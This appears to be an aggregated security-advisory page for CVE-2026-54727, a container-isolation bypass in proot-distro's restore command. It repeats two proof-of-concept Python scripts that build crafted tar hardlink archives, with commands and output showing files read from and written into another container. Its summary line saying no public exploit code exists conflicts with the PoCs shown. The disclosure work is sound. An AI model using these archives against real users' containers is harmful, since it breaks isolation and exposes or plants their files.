CVE-2026-54727
proot-distro has a Container Isolation Bypass via Crafted Restore Archive
proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.2
proot-distro has a Container Isolation Bypass via Crafted Restore Archive
proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.
- Record
CVE-2026-54727- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-668
- Updated
- 2026-11-02
EUVDEUVD-2026-50415
8.2
proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.
- Record
EUVD-2026-50415- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-7h3g-4w2f-fj2f
8.2
proot-distro has a Container Isolation Bypass via Crafted Restore Archive
Affected Component
- Package: proot-distro
- Affected command:
restore - Attack surface: Host-side Termux CLI processing a user-supplied backup archive
- Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write
Affected Versions
| Component | Version | |---|---| | proot-distro | 5.1.5 (confirmed affected) | | Test distro | Alpine Linux | | Architecture | aarch64 | | Device | Samsung Galaxy A23 | | Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |
Summary
When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.
The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.
Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.
As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.
Proof of Concept #1 — Cross-Container File Disclosure
All testing was performed using self-owned containers and harmless marker data only.
Step 1 — Create a victim container and marker file
proot-distro install alpine --name victim
proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'
Verification:
proot-distro login victim -- cat /root/proof.txt
PROOF-12345
Step 2 — Create an attacker container
proot-distro install alpine --name attacker
Step 3 — Build a crafted archive
python3 -c '
import tarfile
tf = tarfile.open("malicious.tar", "w")
d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)
h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'
Step 4 — Restore the crafted archive
proot-distro restore ./malicious.tar
Step 5 — Read the copied file from the attacker container
proot-distro run attacker -- cat /exfil/stolen_key
Observed output:
PROOF-12345
This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.
Proof of Concept #2 — Cross-Container File Injection
Step 1 — Create attacker-controlled source data
proot-distro install alpine --name attacker
proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'
Step 2 — Create a victim container
proot-distro install alpine --name victim
Step 3 — Build a crafted archive
python3 -c '
import tarfile
tf = tarfile.open("write_test.tar", "w")
h = tarfile.TarInfo(
"victim/rootfs/root/copied_from_attacker.txt"
)
h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'
Step 4 — Restore the crafted archive
proot-distro restore ./write_test.tar
Step 5 — Verify file injection into the victim container
cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"
Observed output:
ATTACKER_DATA
This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.
Impact
An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.
Observed impacts include:
- Disclosure…
- Record
GHSA-7h3g-4w2f-fj2f- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-668
- Updated
- 2026-11-02
NVD
8.2
proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.
- Record
CVE-2026-54727- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-668
- Updated
- 2026-11-02
OSV
8.2
proot-distro has a Container Isolation Bypass via Crafted Restore Archive
proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.
- Record
CVE-2026-54727- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-668
- Updated
- 2026-11-02
OSVGHSA-7h3g-4w2f-fj2f
8.2
proot-distro has a Container Isolation Bypass via Crafted Restore Archive
Affected Component
- Package: proot-distro
- Affected command:
restore - Attack surface: Host-side Termux CLI processing a user-supplied backup archive
- Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write
Affected Versions
| Component | Version | |---|---| | proot-distro | 5.1.5 (confirmed affected) | | Test distro | Alpine Linux | | Architecture | aarch64 | | Device | Samsung Galaxy A23 | | Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |
Summary
When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.
The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.
Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.
As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.
Proof of Concept #1 — Cross-Container File Disclosure
All testing was performed using self-owned containers and harmless marker data only.
Step 1 — Create a victim container and marker file
proot-distro install alpine --name victim
proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'
Verification:
proot-distro login victim -- cat /root/proof.txt
PROOF-12345
Step 2 — Create an attacker container
proot-distro install alpine --name attacker
Step 3 — Build a crafted archive
python3 -c '
import tarfile
tf = tarfile.open("malicious.tar", "w")
d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)
h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'
Step 4 — Restore the crafted archive
proot-distro restore ./malicious.tar
Step 5 — Read the copied file from the attacker container
proot-distro run attacker -- cat /exfil/stolen_key
Observed output:
PROOF-12345
This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.
Proof of Concept #2 — Cross-Container File Injection
Step 1 — Create attacker-controlled source data
proot-distro install alpine --name attacker
proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'
Step 2 — Create a victim container
proot-distro install alpine --name victim
Step 3 — Build a crafted archive
python3 -c '
import tarfile
tf = tarfile.open("write_test.tar", "w")
h = tarfile.TarInfo(
"victim/rootfs/root/copied_from_attacker.txt"
)
h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'
Step 4 — Restore the crafted archive
proot-distro restore ./write_test.tar
Step 5 — Verify file injection into the victim container
cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"
Observed output:
ATTACKER_DATA
This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.
Impact
An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.
Observed impacts include:
- Disclosure…
- Record
GHSA-7h3g-4w2f-fj2f- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-668
- Updated
- 2026-11-02
OSVPYSEC-2026-3607
8.2
proot-distro has a Container Isolation Bypass via Crafted Restore Archive
Affected Component
- Package: proot-distro
- Affected command:
restore - Attack surface: Host-side Termux CLI processing a user-supplied backup archive
- Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write
Affected Versions
| Component | Version | |---|---| | proot-distro | 5.1.5 (confirmed affected) | | Test distro | Alpine Linux | | Architecture | aarch64 | | Device | Samsung Galaxy A23 | | Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |
Summary
When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.
The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.
Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.
As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.
Proof of Concept #1 — Cross-Container File Disclosure
All testing was performed using self-owned containers and harmless marker data only.
Step 1 — Create a victim container and marker file
proot-distro install alpine --name victim
proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'
Verification:
proot-distro login victim -- cat /root/proof.txt
PROOF-12345
Step 2 — Create an attacker container
proot-distro install alpine --name attacker
Step 3 — Build a crafted archive
python3 -c '
import tarfile
tf = tarfile.open("malicious.tar", "w")
d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)
h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'
Step 4 — Restore the crafted archive
proot-distro restore ./malicious.tar
Step 5 — Read the copied file from the attacker container
proot-distro run attacker -- cat /exfil/stolen_key
Observed output:
PROOF-12345
This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.
Proof of Concept #2 — Cross-Container File Injection
Step 1 — Create attacker-controlled source data
proot-distro install alpine --name attacker
proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'
Step 2 — Create a victim container
proot-distro install alpine --name victim
Step 3 — Build a crafted archive
python3 -c '
import tarfile
tf = tarfile.open("write_test.tar", "w")
h = tarfile.TarInfo(
"victim/rootfs/root/copied_from_attacker.txt"
)
h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'
Step 4 — Restore the crafted archive
proot-distro restore ./write_test.tar
Step 5 — Verify file injection into the victim container
cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"
Observed output:
ATTACKER_DATA
This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.
Impact
An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.
Observed impacts include:
- Disclosure…
- Record
PYSEC-2026-3607- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
proot-distroPyPI |
through 5.1.5 | 5.1.6 |
proot-distroPyPI |
before 5.1.6, plus listed versions 5.0.05.0.0b15.0.0b25.0.0b35.0.0b4 Show 9 moreShow less5.0.0b55.0.15.0.25.1.05.1.15.1.25.1.35.1.45.1.5 |
5.1.6 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-54727 is a high vulnerability (CVSS 8.2) in Termux Proot-distro, published July 29, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.19%, the 8th percentile. Fixed in proot-distro 5.1.6.
References
github.com/termux/proot-distro/security/advisories/GHSA-7h3g-4w2f-fj2f
github.com/termux/proot-distro/commit/98aff324b7d8500ff75a8ca9ac087ee636be4716
github.com/termux/proot-distro/releases/tag/v5.1.6
github.com/advisories/GHSA-7h3g-4w2f-fj2f
github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54727.json
nvd.nist.gov/vuln/detail/CVE-2026-54727
github.com/termux/proot-distro
pypi.org/project/proot-distro
Left out here: the rest of 3 source descriptions. The JSON record has them.